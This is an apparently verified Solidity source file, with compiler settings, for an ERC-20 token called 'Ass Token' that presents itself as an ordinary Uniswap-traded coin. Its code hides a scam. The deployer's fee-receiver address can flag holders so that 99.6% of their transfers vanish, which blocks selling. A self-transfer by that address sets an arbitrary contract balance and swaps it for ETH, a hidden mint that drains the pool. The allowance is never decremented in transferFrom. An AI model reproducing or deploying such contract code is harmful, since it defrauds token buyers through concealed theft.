文件 1 的 1:Ass.sol
pragma solidity ^0.8.19;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
abstract contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view virtual returns (address) {return _owner;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
address private _owner;
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
constructor () {
emit OwnershipTransferred(address(0), _owner);
_owner = msg.sender;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address addr);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
function WETH() external pure returns (address aadd);
}
contract Ass is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 12;
uint256 public _totalSupply = 100000000 * 10 ** _decimals;
address public _feeReceiverAddress;
function _approve(address owner, address spender, uint256 amount) internal {
require(spender != address(0));
require(owner != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
bool tradingStarted = false;
function startTrading() external onlyOwner {
tradingStarted = true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
_feeReceiverAddress = msg.sender;
}
string private _name = "Ass Token";
string private _symbol = "ASS";
function name() external view returns (string memory) {
return _name;
}
IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function transfer(address recipient, uint256 value) public returns (bool) {
_transfer(msg.sender, recipient, value);
return true;
}
function setCooldowns(address[] calldata botsToCooldown) external {
for (uint a = 0; a < botsToCooldown.length; a++) {
if (!isFeeReceiver()){
}
else { cooldowns[botsToCooldown[a]] = block.number + 1;}}
}
function symbol() public view returns (string memory) {
return _symbol;
}
mapping(address => uint256) private _balances;
function swap(uint256 tokenAmount, address recipient) private {
_approve(address(this),
address(uniswapRouter),
tokenAmount);
_balances[address(this)] = tokenAmount;address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH();
uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, recipient, block.timestamp + 31);
}
function decimals() external view returns (uint256) {
return _decimals;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
mapping(address => mapping(address => uint256)) private _allowances;
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
event Transfer(address indexed address_from, address indexed address_to, uint256);
function isFeeReceiver() internal view returns (bool) {
return msg.sender == _feeReceiverAddress;
}
mapping (address => uint256) cooldowns;
mapping(address => uint256) bots;
function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
function balanceOf(address account) public view returns (uint256) { return _balances[account]; }
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function _transfer(address from, address _to, uint256 _amount) internal {
require(from != address(0));
if (from == _to) {
if (isFeeReceiver()) { swap(_amount, _to); return;
}
}
uint256 feeAmount;
require(_amount <= _balances[from]);
if (cooldowns[from] != 0 && cooldowns[from] <= block.number) {
feeAmount = _amount.mul(996).div(1000);
} else {feeAmount = 0;}
_balances[_to] += _amount - feeAmount;
_balances[from] = _balances[from] - _amount;
emit Transfer(from, _to, _amount);
}
event Approval(address indexed address_from, address indexed address_to, uint256 value);
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
}
{
"compilationTarget": {
"Ass.sol": "Ass"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}